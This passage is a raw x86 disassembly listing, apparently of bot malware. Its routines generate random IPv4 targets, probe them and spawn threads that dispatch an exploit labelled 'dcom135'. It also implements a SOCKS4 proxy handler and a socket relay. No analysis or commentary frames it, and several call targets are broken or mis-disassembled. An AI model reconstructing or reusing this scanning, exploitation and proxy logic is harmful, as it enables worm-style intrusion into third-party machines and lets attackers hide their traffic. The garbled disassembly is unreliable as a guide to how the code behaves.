esp sub esp, 10h push esi or esi, 0FFFFFFFFh push [ebp+arg_0] mov [ebp+var_C], esi mov [ebp+var_8], esi mov [ebp+var_4], esi mov [ebp+var_10], esi call sub_417AB0 cmp eax, 0Fh pop ecx jbe short loc_407656 xor eax, eax jmp short loc_4076C7 ; --------------------------------------------------------------------------- loc_407656: ; CODE XREF: sub_40762E+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418A52 add esp, 18h cmp [ebp+var_C], esi jnz short loc_407683 call sub_41730C mov [ebp+var_C], eax loc_407683: ; CODE XREF: sub_40762E+4Bj cmp [ebp+var_8], esi jnz short loc_407690 call sub_41730C mov [ebp+var_8], eax loc_407690: ; CODE XREF: sub_40762E+58j cmp [ebp+var_4], esi jnz short loc_40769D call sub_41730C mov [ebp+var_4], eax loc_40769D: ; CODE XREF: sub_40762E+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076A9 call sub_41730C loc_4076A9: ; CODE XREF: sub_40762E+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_436F18[ecx*8], eax loc_4076C7: ; CODE XREF: sub_40762E+26j pop esi leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CA proc near ; CODE XREF: sub_407767+BBp ; sub_40D4C5+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43AE18 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076F3 xor eax, eax jmp short loc_407762 ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4076CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43AD98 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43AE34 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43AD40 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43AD80 push esi mov edi, eax call dword_43AE30 xor eax, eax cmp edi, ebx setnle al loc_407762: ; CODE XREF: sub_4076CA+27j pop edi pop esi pop ebx leave retn sub_4076CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407767 proc near ; DATA XREF: sub_40797F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax nop call near ptr 2610EF3h push eax call sub_417302 mov ebx, esi pop ecx imul ebx, 234h loc_4077AE: ; CODE XREF: sub_407767+204j mov eax, dword_4407F4[ebx] cmp dword_436F1C[eax*8], 0 jz loc_407970 cmp [ebp+var_10], 0 push eax jz short loc_4077D8 lea eax, [ebp+var_150] push eax call sub_40762E pop ecx jmp short loc_4077DD ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_407767+60j call sub_4075E6 loc_4077DD: ; CODE XREF: sub_407767+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4407F4[ebx] push [ebp+var_3C] push edi call dword_43AE24 push eax lea eax, [ebp+var_28C] push offset unk_42B3BC push eax call sub_4172B0 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_4405F0[ebx] push eax call sub_4172B0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076CA add esp, 14h cmp eax, 1 jnz loc_407960 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B4 push offset dword_438F18 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_43AE24 push eax lea eax, [ebp+var_28C] push offset unk_42B384 push eax call sub_4172B0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407896 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788A lea eax, [ebp+var_140] loc_40788A: ; CODE XREF: sub_407767+11Bj push eax push [ebp+var_40] call sub_40D679 add esp, 14h loc_407896: ; CODE XREF: sub_407767+100j lea eax, [ebp+var_28C] push eax call sub_40BF6D mov [esp+2A8h+var_2A8], offset dword_438F18 nop call near ptr 77F7E300h jmp loc_407960 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407767+D0j push edi call dword_43AE24 push eax lea eax, [ebp+var_208] push eax call sub_4172B0 mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4172B0 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_4078F9 lea eax, [ebp+var_140] loc_4078F9: ; CODE XREF: sub_407767+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_4172B0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42ACB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407960: ; CODE XREF: sub_407767+C6j ; sub_407767+148j push 7D0h nop call near ptr 26207A4h jmp loc_4077AE ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_407767+55j push esi call sub_417078 pop ecx push 0 call near ptr 261095Eh nop sub_407767 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797F proc near ; DATA XREF: sub_40EE72+3300o ; sub_40EE72+5137o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43ADD8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_436F18[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407252 push 8 call sub_416FA4 add esp, 150h cmp eax, ebx jnz short loc_407A4D mov esi, offset dword_438F18 push esi nop call near ptr 2700000h push 80000400h push esi nop call near ptr 26F0B85h test eax, eax jnz short loc_407A4D lea eax, [ebp+var_1CC] push offset unk_42B4F0 push eax call sub_4172B0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A37 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407A37: ; CODE XREF: sub_40797F+99j lea eax, [ebp+var_1CC] push eax call sub_40BF6D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A4D: ; CODE XREF: sub_40797F+63j ; sub_40797F+7Fj mov eax, [ebp+var_2C] mov esi, dword_424064 mov edi, ebx mov dword_436F1C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1A loc_407A6B: ; CODE XREF: sub_40797F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42B4A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416D5C mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4407F4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407767 push ebx push ebx nop call near ptr 26A0AA3h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_440804[ecx], eax jz short loc_407AE5 loc_407ADA: ; CODE XREF: sub_40797F+164j cmp [ebp+var_4], ebx jnz short loc_407B0C push 1Eh call esi jmp short loc_407ADA ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: sub_40797F+159j nop call near ptr 26702AAh push eax lea eax, [ebp+var_1CC] push offset unk_42B45C push eax call sub_4172B0 lea eax, [ebp+var_1CC] push eax call sub_40BF6D add esp, 10h loc_407B0C: ; CODE XREF: sub_40797F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A6B loc_407B1A: ; CODE XREF: sub_40797F+E6j cmp [ebp+var_30], ebx jz loc_407BC4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B2F: ; CODE XREF: sub_40797F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_436F18[eax*8] push eax call dword_43AE24 push eax lea eax, [ebp+var_1CC] push offset unk_42B408 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B7D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407B7D: ; CODE XREF: sub_40797F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40BF6D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_436F1C[eax*8], ebx call esi push 8 call sub_416FA4 cmp eax, 1 pop ecx jnz short loc_407BB4 push offset dword_438F18 call near ptr 2700000h nop loc_407BB4: ; CODE XREF: sub_40797F+228j push [ebp+var_2C] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh loc_407BC4: ; CODE XREF: sub_40797F+19Ej ; sub_40797F+25Dj mov eax, [ebp+var_2C] cmp dword_436F1C[eax*8], 1 jnz loc_407B2F push 7D0h call esi jmp short loc_407BC4 sub_40797F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BDE proc near ; DATA XREF: sub_40EE72+36DDo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43AD98 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43AE18 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D42 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4407FC[eax], ebx call dword_43ACB4 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43ADC4 test eax, eax jnz loc_407D42 push 0Ah push ebx call dword_43ADC0 test eax, eax jnz loc_407D42 loc_407C88: ; CODE XREF: sub_407BDE+BEj ; sub_407BDE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43AE2C mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C88 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43AE24 push eax lea eax, [ebp+var_34C] push offset unk_42B584 push eax call sub_4172B0 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4407F4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_407D66 push esi push esi nop call near ptr 26A0AA3h mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440804[ecx], eax jz short loc_407D2D loc_407D1A: ; CODE XREF: sub_407BDE+14Dj cmp [ebp+var_2C], esi jnz loc_407C88 push 32h nop call near ptr 26207A4h jmp short loc_407D1A ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_407BDE+13Aj call near ptr 26702AAh nop push eax push offset unk_42B538 call sub_40BFE1 pop ecx pop ecx jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D42: ; CODE XREF: sub_407BDE+61j ; sub_407BDE+93j ... mov edi, [ebp+arg_0] loc_407D45: ; CODE XREF: sub_407BDE+162j push edi call dword_43AE30 push ebx call dword_43AE30 push [ebp+var_3C] call sub_417078 pop ecx push esi nop call near ptr 261095Eh pop edi pop esi pop ebx sub_407BDE endp ; sp-analysis failed loc_407D66: ; DATA XREF: sub_407BDE+11Co push ebp mov ebp, esp mov eax, 1344h call sub_417B30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43AE18 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_407F1C push 10h lea eax, [ebp-18h] push edi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_43AD98 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_43ADD8 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_407DF6 lea eax, [ebp-13Ch] push eax call dword_43AE1C jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: ___:00407DE5j push 2 lea eax, [ebp-8] push 4 push eax call dword_43AD50 loc_407E04: ; CODE XREF: ___:00407DF4j cmp eax, edi jz loc_407F1C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_43AD40 cmp eax, 0FFFFFFFFh jz loc_407F1C movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_43AE24 push eax lea eax, [ebp-344h] push offset unk_42B62C push eax call sub_4172B0 push esi lea eax, [ebp-344h] push 10h push eax call sub_416D5C imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4407FC[ebx] mov dword_4407F4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_440800[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_407F4D push edi push edi call near ptr 26A0AA3h nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_440804[ecx], eax jz short loc_407F09 loc_407EB6: ; CODE XREF: ___:00407EC3j cmp [ebp-20h], edi jnz short loc_407EC5 push 32h nop call near ptr 26207A4h jmp short loc_407EB6 ; --------------------------------------------------------------------------- loc_407EC5: ; CODE XREF: ___:00407EB9j mov ebx, 1000h loc_407ECA: ; CODE XREF: ___:00407F05j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_43ADB0 cmp eax, edi jle short loc_407F1C push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_407ECA jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; CODE XREF: ___:00407EB4j call near ptr 26702AAh nop push eax push offset unk_42B5DC call sub_40BFE1 pop ecx pop ecx loc_407F1C: ; CODE XREF: ___:00407DAAj ; ___:00407E06j ... mov eax, [ebp-4] imul eax, 234h push dword_4407FC[eax] call dword_43AE30 push dword ptr [ebp+8] call dword_43AE30 push dword ptr [ebp-4] call sub_417078 pop ecx push edi nop call near ptr 261095Eh pop edi pop esi pop ebx loc_407F4D: ; DATA XREF: ___:00407E96o push ebp mov ebp, esp mov eax, 1128h call sub_417B30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F84: ; CODE XREF: ___:00407FC9j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_440800[esi] call dword_43ADB0 test eax, eax jle short loc_407FCB push 0 push eax lea eax, [ebp-1128h] push eax push dword_4407FC[esi] call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz short loc_407F84 loc_407FCB: ; CODE XREF: ___:00407FAEj push dword_440800[esi] call dword_43AE30 push dword ptr [ebp-14h] call sub_417078 pop ecx push 0 ; --------------------------------------------------------------------------- dw 77E8h dd 90022089h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp+var_14], 2 push [ebp+var_40] call dword_43AD98 push 6 push edi push 2 mov word ptr [ebp+var_14+2], ax mov [ebp+var_10], esi call dword_43AE18 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4407FC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43ADC4 test eax, eax jnz loc_40818C push 0Ah push edi call dword_43ADC0 test eax, eax jnz loc_40818C push [ebp+var_40] push [ebp+var_D4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42B75C push eax call sub_4172B0 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080C5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4080C5: ; CODE XREF: sub_407FEA+B9j ; sub_407FEA+172j ... lea eax, [ebp+var_2D4] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43AE2C push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43AE24 push eax lea eax, [ebp+var_2D4] push offset unk_42B708 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4407F4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset loc_4081EF push esi push esi call near ptr 26A0AA3h nop mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_440804[ecx], eax jz short loc_40816C loc_408159: ; CODE XREF: sub_407FEA+180j cmp [ebp+var_28], esi jnz loc_4080C5 push 5 call near ptr 26207A4h nop jmp short loc_408159 ; --------------------------------------------------------------------------- loc_40816C: ; CODE XREF: sub_407FEA+16Dj nop call near ptr 26702AAh push eax lea eax, [ebp+var_2D4] push offset unk_42B6C0 push eax call sub_4172B0 add esp, 0Ch jmp loc_4080C5 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_407FEA+7Bj ; sub_407FEA+8Cj push edi call dword_43AE30 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42B680 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081CF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4081CF: ; CODE XREF: sub_407FEA+1C3j lea eax, [ebp+var_2D4] push eax call sub_40BF6D push [ebp+var_3C] call sub_417078 pop ecx pop ecx push esi nop call near ptr 261095Eh pop edi pop esi pop ebx loc_4081EF: ; DATA XREF: sub_407FEA+14Fo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4407FC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43AD80 test eax, eax jnz short loc_408270 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh loc_408270: ; CODE XREF: sub_407FEA+26Cj push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43ADB0 test eax, eax jg short loc_4082A1 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh loc_4082A1: ; CODE XREF: sub_407FEA+29Dj cmp [ebp+var_4D0], 4 jnz loc_40849B cmp [ebp+var_4CF], 1 jnz loc_40849B cmp [ebp+var_44], bl jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42B830 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417330 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh loc_408337: ; CODE XREF: sub_407FEA+2D4j ; sub_407FEA+2EAj push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417330 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43AE18 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083CF call dword_43AD2C push eax push offset unk_42B7E4 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh loc_4083CF: ; CODE XREF: sub_407FEA+386j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43AD40 cmp eax, 0FFFFFFFFh jnz short loc_40843E call dword_43AD2C push eax push offset unk_42B794 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh loc_40843E: ; CODE XREF: sub_407FEA+3F5j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417330 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43ADE8 push dword ptr [esi] push edi call sub_4084B3 pop ecx pop ecx push edi call dword_43AE30 push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh loc_40849B: ; CODE XREF: sub_407FEA+2BEj ; sub_407FEA+2CBj push dword ptr [esi] call dword_43AE30 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 261095Eh sub_407FEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084C9: ; CODE XREF: sub_4084B3+C5j ; sub_4084B3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E1: ; CODE XREF: sub_4084B3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F1 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E1 loc_4084F1: ; CODE XREF: sub_4084B3+33j cmp ecx, 1 jnz short loc_408506 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408506: ; CODE XREF: sub_4084B3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43AD80 lea eax, [ebp+var_104] push eax push ebx call dword_43AC90 test eax, eax jz short loc_408566 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43ADB0 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43ADE8 cmp eax, 0FFFFFFFFh jz short loc_4085AE loc_408566: ; CODE XREF: sub_4084B3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43AC90 test eax, eax jz loc_4084C9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43ADB0 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43ADE8 cmp eax, 0FFFFFFFFh jnz loc_4084C9 loc_4085AE: ; CODE XREF: sub_4084B3+9Aj ; sub_4084B3+B1j ... pop edi pop esi pop ebx leave retn sub_4084B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B3 proc near ; CODE XREF: sub_40EE72+45AFp var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword 